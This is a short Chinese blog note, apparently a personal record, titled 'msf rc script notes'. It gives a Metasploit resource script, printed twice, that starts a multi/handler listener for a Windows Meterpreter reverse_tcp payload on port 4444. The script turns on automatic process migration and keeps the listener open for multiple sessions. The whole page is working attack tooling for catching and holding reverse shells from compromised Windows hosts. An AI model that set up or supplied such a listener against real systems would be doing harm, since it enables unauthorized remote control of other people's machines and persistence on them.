use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
# 自动进程迁移
set AutoRunScript migrate -f
# 让监听的端口继续保持监听,可以接受多个session
set ExitOnSession false
exploit -j 在后台进行攻击,-z 攻击完后不立刻进入返回的会话
exploit -j -z
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
# 自动进程迁移
set AutoRunScript migrate -f
# 让监听的端口继续保持监听,可以接受多个session
set ExitOnSession false
exploit -j 在后台进行攻击,-z 攻击完后不立刻进入返回的会话
exploit -j -z
本文标题:msf rc脚本记录
本文链接:https://www.haomeiwen.com/subject/lzvtiktx.html
网友评论